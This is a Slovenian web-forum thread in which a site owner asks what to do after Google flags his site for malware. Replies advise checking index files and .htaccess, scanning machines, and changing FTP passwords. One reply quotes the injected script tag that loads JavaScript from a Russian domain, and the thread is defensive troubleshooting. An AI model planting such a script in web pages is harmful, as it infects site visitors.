Malware notification regarding
 
msarc1 10. okt 2010 17:23:56 Pridružen od:
11. mar 2010
243 objav
81 13 4
#1

Pozdravljeni!



Danes sem dobil obvestilo od googla in sicer tole:



Dear site owner or webmaster of avdirekt.si,



We recently discovered that some of your pages can cause users to be infected with malicious software. We have begun showing a warning page to users who visit these pages by clicking a search result on Google.com.



Sedaj pa ne vem kaj naj naredi.. Obstaja mogoče kak online site antivirusnik, da preverim če je mogoče kak virus na srverju oziroma kaj bi lahko bilo narobe da google smatra spletno stran kot sumljivo? Je že kdo imel tak podben primer?


všeč(0) ni všeč(0) spam(0)
 
skyx 10. okt 2010 17:37:59 Pridružen od:
19. jul 2010
232 objav
103 21 3
#2

Priporočam, da si naložiš antivirus in da vidiš če ti res javi da je stren okužena. Drugače pa preglej index.html index.php datoteke, če je bila dodana slučajna kakšna JS koda. Še boljše katere datoteke so bile nazadnej spremenjene.


všeč(1) ni všeč(0) spam(0)
 
kelvan 10. okt 2010 18:08:01 Pridružen od:
19. okt 2007
891 objav
658 122 26
#3

kot je rekel skyx... poglej na dnu index.html in index.php, ce je kaksna javascript koda ali pa samo linki (nekam na *.ru)

pa poglej se .htaccess, ce je dodan rewrite rule


všeč(1) ni všeč(0) spam(0)
 
kelvan 10. okt 2010 18:11:18 Pridružen od:
19. okt 2007
891 objav
658 122 26
#4

sem pogledal na stran.. imas dnu en JS ki kaze nekam v rusijo



kot prvo, vsi, ki imate dostop do ftp streznika, pozenite antivirusne programe (verjetno gre za spyware/trojanca ki iz filezille krade gesla)

nato zamenjaj geslo za dostop do ftpja

potem pa precisti index.* v vseh mapah in preveri se .htaccess


všeč(1) ni všeč(0) spam(0)
 
urbee 10. okt 2010 19:00:25 Pridružen od:
18. maj 2008
1365 objav
1642 211 84
#5

Za kaksen link v rusijo tocno pa gre?


všeč(0) ni všeč(0) spam(0)
 
kelvan 10. okt 2010 20:16:45 Pridružen od:
19. okt 2007
891 objav
658 122 26
#6
<script type="text/javascript" src="http://pansolo.ru/Add-on.js"></script>

sem nedolgo nazaj cistil sajt enim obupancem pa je bila ista situacija


všeč(0) ni všeč(0) spam(0)
 
msarc1 10. okt 2010 20:41:36 Pridružen od:
11. mar 2010
243 objav
81 13 4
#7

ja in kaj a je kul ce je rewrite al ne? pa hvala mislm, da sem odstranil vse... vsaj upam


všeč(0) ni všeč(0) spam(0)
 
kelvan 11. okt 2010 07:23:35 Pridružen od:
19. okt 2007
891 objav
658 122 26
#8

rewrite je ponavadi tako spisan, da ce pride klik z googla ali kaksnega drugega iskalnika, da preusmeri stran na neko xy stran



ce si vse precistil, v webmaster tools oddaj zahtevek, da te skinejo s shit liste


všeč(0) ni všeč(0) spam(0)
 
Lucifix 11. okt 2010 07:52:22 Pridružen od:
14. okt 2008
744 objav
438 12 0
#9

Kako pa pride sploh do takšnih okužb? Verjetno kak virus na računalniku, ki preko ftp programa naloži zlonamerno kodo?


všeč(0) ni všeč(0) spam(0)
 
Jure Damjan 11. okt 2010 08:23:36 Pridružen od:
4. okt 2007
4162 objav
4222 446 55
#10

kelvan:

(verjetno gre za spyware/trojanca ki iz filezille krade gesla)




Filezilla ima obupno (iz varnostnega vidika) shranjena gesla.


všeč(1) ni všeč(0) spam(0)
 
 

🔒 Za odgovor na to temo se moraš prijaviti.

Prijavi se